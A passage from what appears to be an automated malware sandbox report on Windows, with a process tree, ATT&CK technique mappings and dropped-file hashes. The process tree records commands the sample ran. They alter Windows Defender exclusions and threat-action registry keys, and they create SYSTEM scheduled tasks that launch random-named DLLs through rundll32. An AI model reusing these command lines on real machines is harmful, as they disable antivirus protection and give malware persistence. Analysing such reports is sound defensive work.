      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:3244
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:8856
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
  2⤵
  PID:6380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:856
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:6904
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:8008
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7260
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:9188
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\xuHGDU.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\kJrbVKY.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:8820
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "ucrVpivlTlXwlAC"
  2⤵
  PID:8000
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
  2⤵
  PID:6884
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\XgzpZcu.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1272
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\ngAfYzJ.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:8060
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\WcNgtzj.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:9044
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\wreHbsL.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:6800
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "BjyVbWVaXyfCTlHuI" /SC once /ST 06:19:10 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QqEAMUespgTHJnVz\fziOnKcf\eBOGRLS.dll\",#1 /kpdidI 385118" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:6676
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "BjyVbWVaXyfCTlHuI"
  2⤵
  PID:6364
- C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\vUpjdUek\jeyJgLg.exe
  "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\vUpjdUek\jeyJgLg.exe" /S zs
  2⤵
  PID:5372
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:7120
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:4288
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:8228
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:8824
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:6856
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:440
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:6908
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:6064
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5532
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:8808
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:6912
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5084
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:6156
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:5296
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:1324
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1736
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:7684
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
    3⤵
    PID:1556
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
      4⤵
      PID:5996
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4476
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:7844
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 16:42:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\vUpjdUek\jeyJgLg.exe\" PP /S" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:2964
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
    3⤵
    PID:7156
  - - C:\Windows\SysWOW64\cmd.exe
      /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
      4⤵
      PID:3048
    - - \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn btZaCbGShXZoJDfvCg
        5⤵
        
        PID:4340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 7664 -ip 7664
1⤵
PID:8456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:2568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
  2⤵
  PID:4908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1724

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding
1⤵
PID:8712

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:6988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fe1d46f8,0x7ff9fe1d4708,0x7ff9fe1d4718
  2⤵
  PID:1972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5960 -ip 5960
1⤵
PID:7328

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QqEAMUespgTHJnVz\fziOnKcf\eBOGRLS.dll",#1 /kpdidI 385118
1⤵
PID:5552
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QqEAMUespgTHJnVz\fziOnKcf\eBOGRLS.dll",#1 /kpdidI 385118
  2⤵
  PID:4556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "BjyVbWVaXyfCTlHuI"
    3⤵
    PID:5208

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
PID:4648

C:\Users\Admin\Desktop\a\Newoff.exe
C:\Users\Admin\Desktop\a\Newoff.exe
1⤵
PID:1200

C:\ProgramData\cmd.exe
C:\ProgramData\cmd.exe
1⤵
PID:3564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:8072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fe1d46f8,0x7ff9fe1d4708,0x7ff9fe1d4718
  2⤵
  PID:6544

C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\vUpjdUek\jeyJgLg.exe
C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\vUpjdUek\jeyJgLg.exe PP /S
1⤵
PID:1128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3668
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:8720
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:9000
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:7428
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:7616
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5412

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:3516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fe1d46f8,0x7ff9fe1d4708,0x7ff9fe1d4718
  2⤵
  PID:5808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:8580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9fe1d46f8,0x7ff9fe1d4708,0x7ff9fe1d4718
  2⤵
  PID:7268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:5512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fe1d46f8,0x7ff9fe1d4708,0x7ff9fe1d4718
  2⤵
  PID:8008

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:8460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fe1d46f8,0x7ff9fe1d4708,0x7ff9fe1d4718
  2⤵
  PID:8568

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:8436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\AdobeUpdaterV2663_0cc175b9c0f1b6a831c399e269772661\AdobeUpdaterV2663.exe

Filesize
1.4MB

MD5
8ccd94001051879d7b36b46a8c056e99

SHA1
c334f58e72769226b14eea97ed374c9b69a0cb8b

SHA256
04e3d4de057cff319c71a23cc5db98e2b23281d0407e9623c39e6f0ff107f82a

SHA512
9ce4dc7de76dae8112f3f17d24a1135f6390f08f1e7263a01b6cb80428974bf7edf2cde08b46e28268d2b7b09ab08e894dd2a7d5db7ebffe7c03db819b52c60d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\metadata

Filesize
228B

MD5
dcc368463a550e032eea38ee9d7555c7

SHA1
30080f8e6b27fbf3136e8e0c960b1a64361c568d

SHA256
aea74d3ebef21ecdc2661de9dc5fa1ceb5d1280e038ac0f707c052731671c1ff

SHA512
db698586ce5bce418ed8603b532bd56d826ba3b184763289cb164215f780436eb72478be1ba98daea8ffabc610e591858daf7b7b6494d603b864ec4c5c1c2e18

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports\962635be-7541-416b-b736-784112672d14.dmp

Filesize
685KB

MD5
cab40c778591e0d16f4a0fe7db4a196f

SHA1
ceb06e15c8216de166b77440ca0e412e7eae5a75

SHA256
e75ae32efa2f2173c402481acee1dc594b0d9848f01e67e6e4389a9de7733ee0

SHA512
653d2bd0d62ef6d0d11f78f6f2d20d9763c2b9984dc1df1c7ce516e821087bbe82a041da0a7140d7fe1cc6a5b8bbf98a2542ff39655c985edf3bb73e8339671c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports\a31c5d3e-4d7c-4a79-87cc-b34b2b65585f.dmp

Filesize
905KB

MD5
582e2eef0a0ca67ab89a8cc397aed777

SHA1
7500be434f0637cc177baa6688e2ba0850bead5a

SHA256
afcf6281ecb8780461d85fabd4b3da6e1b00a0ad03072bbb895007f6e9653813

SHA512
9b44030e22bb3bacb8ac75ae102239f0181e4c5f27e3256eeb2400ffab038b64414491fccaf600f51cbb058fd403ac5bc3ee7d15ad45749ac3342fdb61b5f168

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Filesize
40B

MD5
23757ed07e48d44307286952c68ec805

SHA1
c592ce51e6b0a2ac953d578a02e9b92ca6927a82

SHA256
7ea39c8d61be992783d37ddec9447b4e68dcfbb7a373a5d8770ee6cb0604abca

SHA512
c2270da887f919318759872bffda13de30ad002aa0b1a8382fff0c9ed35e04e82b886b240a73257150a92cba2fa326d20302bf7c77e8c6e7d86d0e0e2bf7445c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
744B

MD5
7c7c63fb99b7621550cb034d76666d24

SHA1
478b7034698beddd03bf0542e92ce3386041bf57

SHA256
e1c8a5f6c2944ca244e8477a534afc073aba8e8d562ac4ca2d303e5e6e5a4b15

SHA512
55932db96894bc05cf5f6d285d69604a79124bfcee199d390ca6b9c321dab93f3031a4f8a38d85f05b36d2699953f14f983cd6f518e5084f55e96b2bfec302a3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
3KB

MD5
666641630dbfd98c5adf2d4b442e8800

SHA1
00cdfba89b3457201cf2513ce5d4796281393245

SHA256
0756d6521c8d4fabe48182ea0c2b699c191d2c000aa38fa5f981b5ea5419ff77

SHA512
26a9a72829fc59e95d38fb94e94eb2b02a3f17ef5629e231888ad6c6cc8df3b3283071438d732b9b87e6eec9e79f65e3d023125821393eb77ff8468f646216e6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
e848fa92fe1d62b21d5253282567f648

SHA1
8b687fc65819f9f40269832a1a3c6f18b8444577

SHA256
747b6e0744a36b9b912019b6c32aac21574c2fe63c4864c28715f0ff7659b9e5

SHA512
df1e526d100ae701c16e519a1b51c74b26529452df72e5b108795870ff47efe1a7e50394118a87d0ddb7b8a3d87c37d560a9d5c54160f5ddd53b6e91b83582ab

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
3a3774f1e1dfa713e94367b732380ef6

SHA1
01e92aadf0615e89c79d28bdd428db2023ccc838

SHA256
6b5d732abd145f51f56b2a95ca65584c318b9378f1ad68b2491e95ba11113f07

SHA512
d3a316ab450fa137fe5a11b7dbe10b6e0da80c532e61eecec946ddd1712d973c9b1c35f9b374a43c91f2500fcc1575545b00d498429a5845c58c0e2c0bd9e034

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
16KB

MD5
780adb3243645be6504937c61b57d9b6

SHA1
16ee22c4c46750610c33ff836ab61438b6b668fb

SHA256
32eb6f8b7ea77b307041afcdd337bf54b91f17db9fb5b1d0f4213ed19e08b64c

SHA512
